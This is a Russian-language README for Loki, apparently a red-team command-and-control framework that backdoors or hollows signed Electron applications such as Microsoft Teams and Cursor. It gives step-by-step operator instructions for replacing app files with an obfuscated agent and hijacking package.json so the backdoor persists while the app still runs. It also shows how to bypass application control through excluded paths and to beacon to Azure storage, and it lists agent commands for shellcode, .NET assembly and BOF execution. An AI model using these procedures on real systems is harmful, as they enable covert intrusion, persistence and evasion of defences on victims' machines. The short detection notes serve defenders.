
🧙♂️ Node.js Command & Control для перехвата скриптов в уязвимых Electron-приложениях
Loki — это C2-фреймворк первой стадии (stage-1), написанный на Node.js, созданный для script-jacking’а уязвимых Electron-приложений MITRE ATT&CK T1218.015. Разработанный для red team-операций, Loki позволяет обходить защитное ПО и обходить контроль приложений за счёт эксплуатации доверенных, подписанных Electron-приложений.
Script-jacking перехватывает поток выполнения Electron-приложения, изменяя JavaScript-файлы, загружаемые во время выполнения, с помощью произвольного Node.js-кода. Этот приём можно использовать для:
Хотя некоторые существующие инструменты уже используют script-jacking для связывания выполнения с другим процессом, Loki — первый, кто позволяет внедрять бэкдоры и опустошать (hollow) подписанные Electron-приложения без аннулирования их подписи кода.
Более подробно о том, как работает Loki, читайте в этом блоге:

| Имя | Вклад |
|---|---|
| Bobby Cooke | Создатель и сопровождающий |
| Dylan Tran | Создатель |
| Ellis Springe | Альфа-тестировщик |
| Shawn Jones | Код выполнения сборок |
| Trusted Sec | Код COFFLoader |
| Simon Exley | Автор видео |
| Clinton Elves | Автор видео |
| John Hammond | Автор видео |
Посмотрите это видео от John Hammond о внедрении бэкдора в Cursor AI с помощью Loki C2! 🎩
Посмотрите это видео от Simon Exley & Clinton Elves о том, как начать работу с Loki C2! 🧙♂️
Все команды агента написаны на нативном Node.js и не требуют дополнительных зависимостей или событий загрузки библиотек. Исключение составляют команды scexec и assembly, которые выполняют загрузку библиотек keytar.node и assembly.node.
/; \ в путях работать не будет.Set — загрузка модулей из путей исключений контроля приложенийset, чтобы изменить пути загрузки для assembly.node и scexec.node.ls, cat, cp и mv вы можете перечислить правила контроля приложений и найти доступный для записи каталог, который является исключением.set, чтобы изменить путь их загрузки на этот каталог и обойти контроль приложений.[04-04-2025 8:50AM MST] advsim$ help set
Set the Node load paths for assembly node and scexec nodes
set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
set assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node
[04-04-2025 8:51AM MST] advsim$ set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
SCEXEC Node Load Path Set to : C:/Users/user/AppData/ExcludedApp/scexec.node
Дополнительную информацию о возможностях агента смотрите здесь
Дополнительную информацию о возможностях клиента смотрите здесь
Сначала вам нужно найти уязвимое Electron-приложение, которое не выполняет проверки целостности ASAR, например Microsoft Teams. В более новых приложениях могут быть проверки целостности, препятствующие внедрению бэкдора. Более старые версии целевого приложения с большей вероятностью окажутся уязвимыми.
Вам не нужно компилировать агента при внедрении бэкдора в Electron-приложения. Просто замените содержимое {ELECTRONAPP}/resources/app/ файлами агента Loki.
cd в негоjavascript-obfuscatornpm install --save-dev javascript-obfuscator
create_agent_payload.js, чтобы создать Loki-пейлоад с данными вашей учётной записи Storagebobby$ node create_agent_payload.js
[+] Provide Azure storage account information:
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
[+] Configuration:
- Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
- Meta Container : mllyi2zjmafjm
[+] Updated /Users/bobby/apr2/LokiC2/config.js with storage configuration.
- Enter into the Loki Client UI
Loki Client > Configuration
[+] Modifying PE binaries to have new hashes...
- Payload assembly.node hash : e9d126407264821d3c2d324da0e2d1bc13cbc53e7c56340fe12b07f69b707f02
- Payload keytar.node hash : 292c14ffebd6cae3df99d9fbee525e29a5a704f076b82207eb3e650de45b075d
[+] Payload ready!
- Obfuscated payload in the ./app directory
./app/{ELECTRONAPP}/resources/./app/ в {ELECTRONAPP}/resources/app/Запустите GUI-клиент Loki
В строке меню нажмите Loki Client > Configuration, чтобы открыть окно настроек
Введите данные вашей учётной записи Storage и нажмите Save

Теперь агент должен отобразиться в панели управления (dashboard)
Нажмите на агента в таблице панели управления, чтобы открыть окно агента
Проверьте, что Loki работает корректно
Самый простой способ использования Loki — заменить файлы в {ELECTRONAPP}/resources/app/ файлами Loki. Это опустошает приложение, то есть оно перестаёт работать как обычно — Loki заменяет его функциональность.
Если вы действительно хотите, чтобы Electron-приложение продолжало работать, а Loki при этом разворачивался в фоне, — не всё потеряно! Мы с John Hammond придумали способ сохранить работу реального Electron-приложения. Мы добавили нужный вам файл в /loki/backdoor/init.js в этом репозитории.
Сейчас он настроен для работы с Cursor, уязвимость которого обнаружил John Hammond.
Для этого вам понадобится:
package.json, в cursor/resources/app/
package.json/loki/backdoor/init.js в cursor/resources/app/cursor/resources/app/package.json:
"main":"init.js","type":"module","private":true,Cursor.exe при запуске/выполнении загружает init.jsinit.js считывает package.jsoninit.js изменяет "main":"init.js", -> "main":"main.js",
main.js — это Lokiinit.js запускает и отсоединяет новый Cursor.exe, который указывает на Lokiinit.js снова считывает package.jsoninit.js изменяет "main":"main.js", ->
Таким образом, приложение постоянно содержит бэкдор и работает как обычно. Если приложение Cursor закрыто, Loki продолжит работать в фоне.
В будущем я напишу скрипт для автоматизации этого процесса.
Здесь приведены инструкции по компиляции агентов и клиентов. Инструкции охватывают несколько платформ, включая Windows, Linux и macOS. Рекомендуется компилировать клиент на целевой платформе и архитектуре.
Если вы внедряете бэкдор в Electron-приложение, компилировать агентов не нужно.
Я не рекомендую компилировать агента и использовать его в операциях. Инструкции по компиляции агента предназначены для разработки.
~/Downloads/Teams/Teams.exe*.blob.core.windows.net (beaconing)netstat.exe или whoami.exe~/AppData/Roaming/{NAME} будет создан каталог с именем из Loki package.json.%LOCALAPPDATA%\Microsoft\Teams\current\app%LOCALAPPDATA%\Microsoft\Teams\current\app.asar создан/изменён не установщиком/обновлением TeamsЭтот проект распространяется под лицензией Business Source License 1.1. Некоммерческое использование разрешено в соответствии с условиями лицензии. Коммерческое использование требует явного разрешения автора. 3 апреля 2030 года эта лицензия будет преобразована в Apache 2.0. Полные условия см. в LICENSE.
| Command | Description |
|---|
help | Показать справку. Использование: help или help scan |
pwd | Показать рабочий каталог |
ls | Список файлов и каталогов |
cat | Показать содержимое файла |
env | Показать переменные окружения процесса |
spawn | Запустить дочерний процесс |
drives | Список дисков |
mv | Переместить файл в новое место |
sleep | Приостановить выполнение на указанное число секунд с джиттером |
cp | Скопировать исходный файл в место назначения |
exit-all | Завершить агент; агент больше не будет выходить на связь |
load | Загрузить node PE-файл с диска в процесс |
scexec | Выполнить шеллкод |
assembly | Выполнить .NET-сборку и получить вывод команды |
upload | Загрузить файл с вашего локального компьютера оператора на удалённый агент |
download | Скачать файл с удалённого агента на локальный компьютер оператора |
scan | Выполнить TCP-сканирование сети в диапазоне CIDR по выбранным портам |
dns | DNS-запрос. Использует системную DNS-конфигурацию |
set | Задать пути загрузки Node для модулей assembly и scexec |
bof | Выполнить COFF-файл и вернуть вывод |
"main":"./out/main.js",./out/main.js" — это настоящее приложение Cursorinit.js запускает и отсоединяет новый Cursor.exe, который указывает на настоящий Cursorinit.js перехватывает завершениеinit.js считывает package.json в третий разinit.js изменяет "main":"./out/main.js", -> "main":"init.js",